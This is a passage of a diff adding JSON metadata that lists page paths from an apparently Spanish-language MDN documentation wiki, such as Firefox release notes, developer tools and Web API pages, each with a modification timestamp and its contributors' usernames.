+    "modified": "2020-01-18T13:20:40.065Z",
+    "contributors": [
+      "leela52452",
+      "SphinxKnight",
+      "wbamberg",
+      "jonasmreza",
+      "avelper",
+      "regisdark",
+      "AlmondCupcake",
+      "hecaxmmx",
+      "SecurityResearcher",
+      "Pablo_Ivan",
+      "Alejandro_Blanco",
+      "gabpull",
+      "nekside"
+    ]
+  },
+  "Mozilla/Firefox/Experimental_features": {
+    "modified": "2019-04-01T12:56:43.181Z",
+    "contributors": [
+      "johnboy-99",
+      "wbamberg",
+      "Maletil"
+    ]
+  },
+  "Mozilla/Firefox/Releases": {
+    "modified": "2019-03-23T23:27:32.191Z",
+    "contributors": [
+      "wbamberg",
+      "thzunder",
+      "Sheppy"
+    ]
+  },
+  "Mozilla/Firefox/Releases/30": {
+    "modified": "2019-03-23T23:06:34.308Z",
+    "contributors": [
+      "wbamberg",
+      "mrbyte007"
+    ]
+  },
+  "Mozilla/Firefox/Releases/50": {
+    "modified": "2019-03-18T21:11:07.358Z",
+    "contributors": [
+      "duduindo",
+      "wbamberg",
+      "frank-orellana",
+      "raiosxdxd"
+    ]
+  },
+  "Mozilla/Firefox/Releases/57": {
+    "modified": "2019-03-23T22:03:40.720Z",
+    "contributors": [
+      "wbamberg",
+      "fitojb"
+    ]
+  },
+  "Mozilla/Firefox/Releases/61": {
+    "modified": "2019-03-18T21:34:25.134Z",
+    "contributors": [
+      "wbamberg",
+      "JoaLop"
+    ]
+  },
+  "Mozilla/Firefox/Releases/62": {
+    "modified": "2019-03-18T21:26:40.295Z",
+    "contributors": [
+      "laptou"
+    ]
+  },
+  "Mozilla/Firefox/Releases/63": {
+    "modified": "2019-03-18T21:22:18.650Z",
+    "contributors": [
+      "SphinxKnight",
+      "Dev-MADJ"
+    ]
+  },
+  "Mozilla/Firefox/Releases/66": {
+    "modified": "2019-05-09T17:56:10.878Z",
+    "contributors": [
+      "Smartloony"
+    ]
+  },
+  "Mozilla/Firefox/Releases/67": {
+    "modified": "2019-06-27T23:25:44.498Z",
+    "contributors": [
+      "erickton",
+      "marcorichetta"
+    ]
+  },
+  "Mozilla/Firefox/Releases/68": {
+    "modified": "2019-07-14T03:15:02.367Z",
+    "contributors": [
+      "Gummox"
+    ]
+  },
+  "Mozilla/Firefox/Releases/9": {
+    "modified": "2019-12-13T20:33:17.732Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz"
+    ]
+  },
+  "Mozilla/Firefox/Releases/9/Updating_add-ons": {
+    "modified": "2019-03-23T23:09:25.426Z",
+    "contributors": [
+      "wbamberg",
+      "Rickatomato"
+    ]
+  },
+  "Módulos_JavaScript": {
+    "modified": "2019-03-23T23:53:21.168Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Mgjbot",
+      "Ffranz",
+      "Mariano"
+    ]
+  },
+  "Participar_en_el_proyecto_Mozilla": {
+    "modified": "2019-03-24T00:07:54.638Z",
+    "contributors": [
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Plantillas_en_Firefox_3": {
+    "modified": "2019-03-24T00:02:45.436Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "Nukeador",
+      "Kaltya",
+      "Mgjbot"
+    ]
+  },
+  "Preguntas_frecuentes_sobre_incrustación_en_Mozilla": {
+    "modified": "2019-01-16T15:02:38.544Z",
+    "contributors": [
+      "Anonymous"
+    ]
+  },
+  "Preguntas_frecuentes_sobre_incrustación_en_Mozilla/Introducción_a_Gecko_e_inscrustación": {
+    "modified": "2019-01-16T16:13:02.334Z",
+    "contributors": [
+      "Jorolo",
+      "Lastjuan"
+    ]
+  },
+  "Principios_básicos_de_los_servicios_Web": {
+    "modified": "2019-01-16T16:13:03.069Z",
+    "contributors": [
+      "Jorolo",
+      "Xoan",
+      "Breaking Pitt"
+    ]
+  },
+  "Recursos_en_modo_desconectado_en_Firefox": {
+    "modified": "2019-03-18T21:11:07.042Z",
+    "contributors": [
+      "duduindo",
+      "Mgjbot",
+      "Nukeador",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Referencia_DOM_de_Gecko": {
+    "modified": "2019-01-16T16:01:11.054Z",
+    "contributors": [
+      "DR",
+      "Nathymig"
+    ]
+  },
+  "Referencia_DOM_de_Gecko/Cómo_espacioenblanco": {
+    "modified": "2020-08-24T04:42:05.596Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Referencia_DOM_de_Gecko/Ejemplos": {
+    "modified": "2019-03-23T23:51:24.173Z",
+    "contributors": [
+      "SphinxKnight",
+      "khalid32",
+      "Mgjbot",
+      "Manu",
+      "Markens",
+      "Nathymig"
+    ]
+  },
+  "Referencia_DOM_de_Gecko/Eventos": {
+    "modified": "2019-03-18T21:45:13.362Z",
+    "contributors": [
+      "recortes"
+    ]
+  },
+  "Referencia_DOM_de_Gecko/Introducción": {
+    "modified": "2019-03-23T23:48:16.078Z",
+    "contributors": [
+      "LuisSevillano",
+      "IsaacAaron",
+      "Sheppy",
+      "Uri",
+      "Nathymig"
+    ]
+  },
+  "Referencia_DOM_de_Gecko/Localizando_elementos_DOM_usando_selectores": {
+    "modified": "2020-06-14T19:56:35.416Z",
+    "contributors": [
+      "snickArg"
+    ]
+  },
+  "Referencia_DOM_de_Gecko/Prefacio": {
+    "modified": "2019-06-16T19:12:21.185Z",
+    "contributors": [
+      "jesusvillalta",
+      "Sheppy",
+      "Nathymig"
+    ]
+  },
+  "Referencia_de_XUL": {
+    "modified": "2019-04-19T23:18:32.719Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "chukito"
+    ]
+  },
+  "SVG_en_Firefox": {
+    "modified": "2019-03-23T23:43:25.545Z",
+    "contributors": [
+      "teoli",
+      "Superruzafa",
+      "Jorolo"
+    ]
+  },
+  "Sections_and_Outlines_of_an_HTML5_document": {
+    "modified": "2019-03-23T23:38:22.567Z",
+    "contributors": [
+      "blanchart",
+      "eljonims",
+      "welm",
+      "javigaar",
+      "learnercys",
+      "pierre_alfonso",
+      "jesanchez"
+    ]
+  },
+  "Seguridad_en_Firefox_2": {
+    "modified": "2019-03-23T23:42:29.185Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Nukeador"
+    ]
+  },
+  "Selección_de_modo_en_Mozilla": {
+    "modified": "2019-11-21T20:40:48.950Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "fscholz",
+      "Jorolo"
+    ]
+  },
+  "Server-sent_events": {
+    "modified": "2019-03-23T23:24:42.323Z",
+    "contributors": [
+      "ethertank"
+    ]
+  },
+  "Server-sent_events/utilizando_server_sent_events_sse": {
+    "modified": "2019-04-16T06:11:09.003Z",
+    "contributors": [
+      "albertoclarbrines",
+      "adlr",
+      "iamwao",
+      "jgutix",
+      "aztrock"
+    ]
+  },
+  "Storage": {
+    "modified": "2019-03-24T00:09:02.141Z",
+    "contributors": [
+      "teoli",
+      "elPatox",
+      "Francoyote",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Tipo_MIME_incorrecto_en_archivos_CSS": {
+    "modified": "2019-01-16T15:43:53.805Z",
+    "contributors": [
+      "Dailosmm",
+      "Mgjbot",
+      "Jorolo",
+      "Nukeador",
+      "Epaclon",
+      "Pasky"
+    ]
+  },
+  "Tools": {
+    "modified": "2020-07-16T22:44:14.436Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "sprodrigues",
+      "Bugrtn",
+      "guillermocamon",
+      "mautematico",
+      "superrebe",
+      "mishelashala",
+      "juan-castano",
+      "Joker_DC",
+      "rossif",
+      "ArcangelZith",
+      "adri1993",
+      "zota",
+      "danielUFO",
+      "Arudb79",
+      "Jacqueline",
+      "@Perlyshh_76",
+      "ivanlopez",
+      "Gusvar",
+      "cristel.ariana",
+      "jesusruiz",
+      "PabloDev",
+      "gorrotowi",
+      "SebastianRave",
+      "Houseboyzgz",
+      "hjaguen",
+      "foxtro",
+      "reoo",
+      "dinoop.p1"
+    ]
+  },
+  "Tools/3D_View": {
+    "modified": "2020-07-16T22:34:25.151Z",
+    "contributors": [
+      "rmilano"
+    ]
+  },
+  "Tools/Accesos_directos": {
+    "modified": "2020-07-28T10:35:37.425Z",
+    "contributors": [
+      "Anibalismo",
+      "ssm",
+      "hugojavierduran9",
+      "marcorichetta"
+    ]
+  },
+  "Tools/Add-ons": {
+    "modified": "2020-07-16T22:36:23.274Z",
+    "contributors": [
+      "mfluehr"
+    ]
+  },
+  "Tools/Browser_Console": {
+    "modified": "2020-07-16T22:35:42.205Z",
+    "contributors": [
+      "AldoSantiago",
+      "almozara"
+    ]
+  },
+  "Tools/Browser_Toolbox": {
+    "modified": "2020-07-16T22:35:55.417Z",
+    "contributors": [
+      "norwie"
+    ]
+  },
+  "Tools/Debugger": {
+    "modified": "2020-09-13T21:00:58.239Z",
+    "contributors": [
+      "luuiizzaa9060",
+      "Juanchoib",
+      "jcmarcfloress",
+      "eroto",
+      "wbamberg",
+      "nacholereu",
+      "Pablo_Ivan",
+      "trevorh",
+      "cgsramirez",
+      "stephaniehobson",
+      "Jacqueline",
+      "C.E."
+    ]
+  },
+  "Tools/Debugger/How_to": {
+    "modified": "2020-07-16T22:35:07.255Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Tools/Debugger/How_to/Disable_breakpoints": {
+    "modified": "2020-07-16T22:35:11.175Z",
+    "contributors": [
+      "drdavi7@hotmail.com"
+    ]
+  },
+  "Tools/Debugger/How_to/Set_a_breakpoint": {
+    "modified": "2020-07-16T22:35:09.854Z",
+    "contributors": [
+      "erickton"
+    ]
+  },
+  "Tools/Debugger/How_to/Uso_de_un_mapa_fuente": {
+    "modified": "2020-07-16T22:35:12.325Z",
+    "contributors": [
+      "Makinita"
+    ]
+  },
+  "Tools/Debugger/Source_map_errors": {
+    "modified": "2020-07-16T22:35:19.165Z",
+    "contributors": [
+      "Makinita"
+    ]
+  },
+  "Tools/Desempeño": {
+    "modified": "2020-07-16T22:36:12.530Z",
+    "contributors": [
+      "LesterGuerra",
+      "juanmapiquero",
+      "PorcoMaledette"
+    ]
+  },
+  "Tools/Desempeño/UI_Tour": {
+    "modified": "2020-07-16T22:36:14.726Z",
+    "contributors": [
+      "kynu",
+      "calcerrada",
+      "ramferposadas"
+    ]
+  },
+  "Tools/Editor_Audio_Web": {
+    "modified": "2020-07-16T22:36:08.308Z",
+    "contributors": [
+      "MPoli"
+    ]
+  },
+  "Tools/Editor_Estilo": {
+    "modified": "2020-07-16T22:35:00.009Z",
+    "contributors": [
+      "jwhitlock",
+      "cheline",
+      "SoftwareRVG",
+      "JosshuaCalixto1",
+      "maybe",
+      "padre629",
+      "CagsaBit"
+    ]
+  },
+  "Tools/Monitor_de_Red": {
+    "modified": "2020-07-16T22:35:29.709Z",
+    "contributors": [
+      "sevillacode",
+      "Makinita",
+      "_cuco_",
+      "Ivan-Perez",
+      "Dieg"
+    ]
+  },
+  "Tools/Page_Inspector": {
+    "modified": "2020-07-16T22:34:27.363Z",
+    "contributors": [
+      "amaiafilo",
+      "SoftwareRVG",
+      "maybe",
+      "webmaster",
+      "Jacqueline",
+      "MauricioGil"
+    ]
+  },
+  "Tools/Page_Inspector/3er-panel_modo": {
+    "modified": "2020-07-16T22:34:53.611Z",
+    "contributors": [
+      "welm"
+    ]
+  },
+  "Tools/Page_Inspector/How_to": {
+    "modified": "2020-07-16T22:34:30.977Z",
+    "contributors": [
+      "sidgan"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Abrir_el_Inspector": {
+    "modified": "2020-07-16T22:34:32.611Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Examinar_y_editar_HTML": {
+    "modified": "2020-07-16T22:34:40.440Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Examinar_y_editar_el_modelo_de_cajasmodel": {
+    "modified": "2020-07-16T22:34:34.150Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Examine_and_edit_CSS": {
+    "modified": "2020-07-16T22:34:42.117Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Examine_grid_layouts": {
+    "modified": "2020-07-16T22:34:47.093Z",
+    "contributors": [
+      "welm"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Inspeccionar_y_seleccionar_colores": {
+    "modified": "2020-07-16T22:34:34.877Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Reposicionando_elementos_en_la_pagina": {
+    "modified": "2020-07-16T22:34:45.756Z",
+    "contributors": [
+      "alebarbaja"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Select_an_element": {
+    "modified": "2020-07-16T22:34:33.474Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Page_Inspector/How_to/Work_with_animations": {
+    "modified": "2020-07-16T22:34:36.333Z",
+    "contributors": [
+      "lyono666",
+      "angelmillan",
+      "fmagrosoto"
+    ]
+  },
+  "Tools/Page_Inspector/UI_Tour": {
+    "modified": "2020-07-16T22:34:48.922Z",
+    "contributors": [
+      "maruskina",
+      "amaiafilo"
+    ]
+  },
+  "Tools/Profiler": {
+    "modified": "2020-07-16T22:35:28.621Z",
+    "contributors": [
+      "MrDaza"
+    ]
+  },
+  "Tools/Remote_Debugging": {
+    "modified": "2020-07-16T22:35:37.186Z",
+    "contributors": [
+      "sonidos",
+      "mando",
+      "Xorgius",
+      "CesarS",
+      "Fani100",
+      "Patriposa",
+      "awbruna190",
+      "aguntinito"
+    ]
+  },
+  "Tools/Remote_Debugging/Debugging_over_a_network": {
+    "modified": "2020-07-16T22:35:41.552Z",
+    "contributors": [
+      "stephiemtz"
+    ]
+  },
+  "Tools/Remote_Debugging/Firefox_para_Android": {
+    "modified": "2020-07-16T22:35:38.980Z",
+    "contributors": [
+      "odelrio",
+      "pawer13",
+      "pacommozilla",
+      "StripTM"
+    ]
+  },
+  "Tools/Responsive_Design_View": {
+    "modified": "2020-07-16T22:35:21.169Z",
+    "contributors": [
+      "adolfotc",
+      "HugoM1682",
+      "amaiafilo",
+      "walter.atg",
+      "maedca"
+    ]
+  },
+  "Tools/Settings": {
+    "modified": "2020-07-16T22:36:34.818Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Tools/Storage_Inspector": {
+    "modified": "2020-07-16T22:36:09.696Z",
+    "contributors": [
+      "Sebastianz"
+    ]
+  },
+  "Tools/Storage_Inspector/Cookies": {
+    "modified": "2020-07-16T22:36:11.000Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Tools/Tomar_capturas_de_pantalla": {
+    "modified": "2020-07-16T22:36:38.280Z",
+    "contributors": [
+      "picandocodigo"
+    ]
+  },
+  "Tools/Tools_Toolbox": {
+    "modified": "2020-07-16T22:35:26.877Z",
+    "contributors": [
+      "amaiafilo",
+      "Papicorito",
+      "am.garcia"
+    ]
+  },
+  "Tools/View_source": {
+    "modified": "2020-07-16T22:35:02.649Z",
+    "contributors": [
+      "StripTM"
+    ]
+  },
+  "Tools/Web_Console": {
+    "modified": "2020-07-16T22:34:05.366Z",
+    "contributors": [
+      "elias_ramirez_elriso",
+      "cgsramirez",
+      "bassam",
+      "wbamberg"
+    ]
+  },
+  "Tools/Web_Console/Console_messages": {
+    "modified": "2020-07-16T22:34:14.880Z",
+    "contributors": [
+      "Enesimus",
+      "pacommozilla",
+      "JeidyVega"
+    ]
+  },
+  "Tools/Web_Console/Iniciando_la_Consola_Web": {
+    "modified": "2020-07-16T22:34:17.075Z",
+    "contributors": [
+      "JonoyeMasuso"
+    ]
+  },
+  "Tools/Web_Console/La_línea_de_comandos_del_intérprete": {
+    "modified": "2020-08-27T20:06:30.290Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Tools/Working_with_iframes": {
+    "modified": "2020-07-16T22:36:11.768Z",
+    "contributors": [
+      "carpasse"
+    ]
+  },
+  "Tools/about:debugging": {
+    "modified": "2020-07-30T13:12:25.833Z",
+    "contributors": [
+      "Anibalismo"
+    ]
+  },
+  "Traducir_las_descripciones_de_las_extensiones": {
+    "modified": "2019-03-23T23:53:33.332Z",
+    "contributors": [
+      "teoli",
+      "Nukeador",
+      "Sebastianzartner@gmx.de",
+      "D20v02d",
+      "Mgjbot"
+    ]
+  },
+  "Traducir_una_extensión": {
+    "modified": "2019-03-23T23:57:54.041Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "Sheppy",
+      "gironlievanos",
+      "Mgjbot",
+      "Superruzafa"
+    ]
+  },
+  "Trazado_de_una_tabla_HTML_mediante_JavaScript_y_la_Interface_DOM": {
+    "modified": "2019-03-23T23:20:26.633Z",
+    "contributors": [
+      "lajaso",
+      "jucazam",
+      "pablo.turati"
+    ]
+  },
+  "Usando_archivos_desde_aplicaciones_web": {
+    "modified": "2019-03-24T00:07:10.927Z",
+    "contributors": [
+      "SphinxKnight",
+      "AngelFQC",
+      "StripTM",
+      "Izel",
+      "deimidis",
+      "maedca"
+    ]
+  },
+  "Usar_XPInstall_para_instalar_plugins": {
+    "modified": "2019-01-16T16:11:23.781Z",
+    "contributors": [
+      "Superruzafa",
+      "Fedora-core",
+      "Floot"
+    ]
+  },
+  "Usar_código_de_Mozilla_en_otros_proyectos": {
+    "modified": "2019-03-24T00:09:00.370Z",
+    "contributors": [
+      "maedca",
+      "inma_610"
+    ]
+  },
+  "Usar_web_workers": {
+    "modified": "2019-03-24T00:07:32.918Z",
+    "contributors": [
+      "teoli",
+      "ajimix",
+      "inma_610"
+    ]
+  },
+  "Using_the_W3C_DOM_Level_1_Core": {
+    "modified": "2019-12-13T21:06:41.403Z",
+    "contributors": [
+      "wbamberg",
+      "jswisher"
+    ]
+  },
+  "Uso_del_núcleo_del_nivel_1_del_DOM": {
+    "modified": "2019-12-13T21:10:23.918Z",
+    "contributors": [
+      "wbamberg",
+      "broxmgs",
+      "Superruzafa",
+      "Jorolo"
+    ]
+  },
+  "Vigilar_plugins": {
+    "modified": "2019-01-16T15:35:57.481Z",
+    "contributors": [
+      "HenryGR"
+    ]
+  },
+  "Web": {
+    "modified": "2020-11-28T21:26:15.631Z",
+    "contributors": [
+      "gabrielazambrano307",
+      "Nachec",
+      "Enesimus",
+      "blanchart",
+      "SoftwareRVG",
+      "danieldelvillar",
+      "raecillacastellana",
+      "jcbp",
+      "BubuAnabelas",
+      "Jacqueline",
+      "igualar.com",
+      "atlas7jean",
+      "luisgm76",
+      "Sheppy"
+    ]
+  },
+  "Web/API": {
+    "modified": "2020-08-08T02:17:57.801Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "fscholz",
+      "AJMG",
+      "tecniloco",
+      "teoli",
+      "maedca",
+      "ethertank",
+      "Sheppy"
+    ]
+  },
+  "Web/API/API_de_almacenamiento_web": {
+    "modified": "2019-03-23T22:46:51.819Z",
+    "contributors": [
+      "fherce",
+      "AlePerez92",
+      "VictorAbdon"
+    ]
+  },
+  "Web/API/API_de_almacenamiento_web/Usando_la_API_de_almacenamiento_web": {
+    "modified": "2020-08-14T20:09:18.391Z",
+    "contributors": [
+      "Enesimus",
+      "fherce"
+    ]
+  },
+  "Web/API/API_del_portapapeles": {
+    "modified": "2020-10-15T22:31:40.101Z",
+    "contributors": [
+      "gato"
+    ]
+  },
+  "Web/API/AbstractWorker": {
+    "modified": "2019-12-20T01:50:52.328Z",
+    "contributors": [
+      "Kaliu",
+      "Gustavo_Armoa",
+      "AshWilliams"
+    ]
+  },
+  "Web/API/Ambient_Light_Events": {
+    "modified": "2019-03-23T22:33:31.225Z",
+    "contributors": [
+      "BubuAnabelas",
+      "RockoDev",
+      "guiller1998"
+    ]
+  },
+  "Web/API/AnalyserNode": {
+    "modified": "2019-03-23T22:51:59.371Z",
+    "contributors": [
+      "teoli",
+      "CarlosLinares"
+    ]
+  },
+  "Web/API/Animation": {
+    "modified": "2020-10-15T21:57:43.283Z",
+    "contributors": [
+      "AlePerez92",
+      "evaferreira",
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/Animación": {
+    "modified": "2019-03-23T22:05:09.399Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/cancel": {
+    "modified": "2019-03-23T22:04:37.170Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/effect": {
+    "modified": "2019-03-18T21:15:31.270Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/finish": {
+    "modified": "2019-03-23T22:04:33.125Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/id": {
+    "modified": "2019-03-18T21:15:30.202Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/oncancel": {
+    "modified": "2019-03-23T22:05:09.237Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/onfinish": {
+    "modified": "2019-03-23T22:05:11.188Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/pause": {
+    "modified": "2020-10-15T21:58:07.078Z",
+    "contributors": [
+      "AlePerez92",
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/play": {
+    "modified": "2019-03-23T22:04:30.047Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/playState": {
+    "modified": "2019-03-23T22:05:06.415Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/playbackRate": {
+    "modified": "2019-03-23T22:05:12.184Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/ready": {
+    "modified": "2019-03-23T22:04:55.912Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/reverse": {
+    "modified": "2019-03-23T22:04:31.837Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/startTime": {
+    "modified": "2019-03-23T22:04:36.769Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/terminado": {
+    "modified": "2019-03-23T22:05:06.573Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/tiempoActual": {
+    "modified": "2019-03-23T22:05:12.506Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/Animation/timeline": {
+    "modified": "2019-03-23T22:04:30.790Z",
+    "contributors": [
+      "IngoBongo"
+    ]
+  },
+  "Web/API/AnimationEvent": {
+    "modified": "2019-03-23T22:31:58.545Z",
+    "contributors": [
+      "fscholz",
+      "jzatarain",
+      "Vanessa85"
+    ]
+  },
+  "Web/API/AnimationEvent/animationName": {
+    "modified": "2019-03-23T22:29:49.749Z",
+    "contributors": [
+      "jzatarain"
+    ]
+  },
+  "Web/API/Attr": {
+    "modified": "2020-04-04T11:16:16.397Z",
+    "contributors": [
+      "MiguelHG2351",
+      "rayrojas",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/AudioBuffer": {
+    "modified": "2020-10-15T22:15:24.740Z",
+    "contributors": [
+      "rayrojas"
+    ]
+  },
+  "Web/API/AudioNode": {
+    "modified": "2020-10-15T22:15:25.198Z",
+    "contributors": [
+      "rayrojas"
+    ]
+  },
+  "Web/API/BaseAudioContext": {
+    "modified": "2019-03-18T21:00:34.809Z",
+    "contributors": [
+      "SphinxKnight",
+      "miguelonce",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/BaseAudioContext/createBiquadFilter": {
+    "modified": "2019-03-23T22:04:57.563Z",
+    "contributors": [
+      "GersonRosales"
+    ]
+  },
+  "Web/API/BatteryManager": {
+    "modified": "2019-03-23T23:24:54.302Z",
+    "contributors": [
+      "David_Marcos",
+      "maedca",
+      "sinfallas"
+    ]
+  },
+  "Web/API/BatteryManager/charging": {
+    "modified": "2019-03-23T23:27:11.890Z",
+    "contributors": [
+      "fscholz",
+      "Hasilt",
+      "LuisE"
+    ]
+  },
+  "Web/API/BatteryManager/chargingTime": {
+    "modified": "2019-03-23T23:25:12.194Z",
+    "contributors": [
+      "fscholz",
+      "palfrei"
+    ]
+  },
+  "Web/API/BatteryManager/dischargingTime": {
+    "modified": "2019-03-23T23:27:15.312Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "LuisE"
+    ]
+  },
+  "Web/API/BatteryManager/level": {
+    "modified": "2019-03-23T23:25:16.177Z",
+    "contributors": [
+      "fscholz",
+      "eliezerb",
+      "maedca",
+      "David_Marcos",
+      "sinfallas",
+      "voylinux"
+    ]
+  },
+  "Web/API/BatteryManager/onchargingchange": {
+    "modified": "2019-03-23T23:25:06.308Z",
+    "contributors": [
+      "fscholz",
+      "Pau_Ilargia",
+      "voylinux"
+    ]
+  },
+  "Web/API/BatteryManager/onlevelchange": {
+    "modified": "2019-03-23T23:25:08.174Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "eliezerb",
+      "robertoasq",
+      "voylinux"
+    ]
+  },
+  "Web/API/BeforeUnloadEvent": {
+    "modified": "2020-10-15T22:19:49.552Z",
+    "contributors": [
+      "tuamigoxavi",
+      "matias981"
+    ]
+  },
+  "Web/API/Blob": {
+    "modified": "2019-03-23T23:07:07.610Z",
+    "contributors": [
+      "parzibyte",
+      "japho",
+      "fscholz",
+      "degrammer"
+    ]
+  },
+  "Web/API/Blob/Blob": {
+    "modified": "2020-10-15T21:31:45.424Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "BrodaNoel",
+      "fscholz",
+      "matajm"
+    ]
+  },
+  "Web/API/Blob/type": {
+    "modified": "2019-03-23T22:06:34.982Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/BlobBuilder": {
+    "modified": "2019-03-23T22:49:30.131Z",
+    "contributors": [
+      "BrodaNoel",
+      "japho"
+    ]
+  },
+  "Web/API/Body": {
+    "modified": "2020-10-15T22:17:35.545Z",
+    "contributors": [
+      "SphinxKnight",
+      "bigblair81"
+    ]
+  },
+  "Web/API/Body/formData": {
+    "modified": "2020-10-15T22:17:33.164Z",
+    "contributors": [
+      "brauni800"
+    ]
+  },
+  "Web/API/Body/json": {
+    "modified": "2020-10-15T22:29:20.361Z",
+    "contributors": [
+      "camsa"
+    ]
+  },
+  "Web/API/CSSRule": {
+    "modified": "2019-03-23T23:58:11.498Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSSRule/cssText": {
+    "modified": "2019-03-23T23:58:05.630Z",
+    "contributors": [
+      "fscholz",
+      "arunpandianp",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSSRule/parentStyleSheet": {
+    "modified": "2019-03-23T23:58:10.522Z",
+    "contributors": [
+      "fscholz",
+      "arunpandianp",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSSStyleDeclaration": {
+    "modified": "2019-03-23T22:44:46.721Z",
+    "contributors": [
+      "guerratron"
+    ]
+  },
+  "Web/API/CSSStyleRule": {
+    "modified": "2019-03-23T23:01:37.512Z",
+    "contributors": [
+      "darioperez",
+      "fscholz"
+    ]
+  },
+  "Web/API/CSSStyleRule/selectorText": {
+    "modified": "2019-03-23T23:58:12.055Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSSStyleSheet": {
+    "modified": "2019-03-23T23:58:09.423Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSSStyleSheet/deleteRule": {
+    "modified": "2019-03-23T23:58:10.847Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSSStyleSheet/insertRule": {
+    "modified": "2019-03-23T23:16:46.847Z",
+    "contributors": [
+      "fscholz",
+      "LeoHirsch"
+    ]
+  },
+  "Web/API/CSSStyleSheet/ownerRule": {
+    "modified": "2019-03-23T23:58:08.873Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "HenryGR"
+    ]
+  },
+  "Web/API/CSS_Object_Model": {
+    "modified": "2019-03-23T22:01:23.472Z",
+    "contributors": [
+      "dmelian"
+    ]
+  },
+  "Web/API/CacheStorage": {
+    "modified": "2020-10-15T22:30:42.396Z",
+    "contributors": [
+      "AprilSylph"
+    ]
+  },
+  "Web/API/CacheStorage/keys": {
+    "modified": "2020-10-15T22:30:42.056Z",
+    "contributors": [
+      "duduindo",
+      "ph4538157"
+    ]
+  },
+  "Web/API/CanvasImageSource": {
+    "modified": "2019-03-23T22:09:10.185Z",
+    "contributors": [
+      "alinarezrangel"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D": {
+    "modified": "2019-03-23T22:54:41.294Z",
+    "contributors": [
+      "rrodrigo",
+      "JoSaGuDu",
+      "iamwao",
+      "geodracs"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/arc": {
+    "modified": "2019-04-15T00:25:11.182Z",
+    "contributors": [
+      "Rodrigo-Sanchez",
+      "Mancux2"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/beginPath": {
+    "modified": "2019-03-23T22:47:39.451Z",
+    "contributors": [
+      "PepeBeat"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/clearRect": {
+    "modified": "2019-03-23T22:19:13.064Z",
+    "contributors": [
+      "andrpueb"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/drawImage": {
+    "modified": "2019-03-23T22:47:09.124Z",
+    "contributors": [
+      "iamwao"
+    ]
+  },
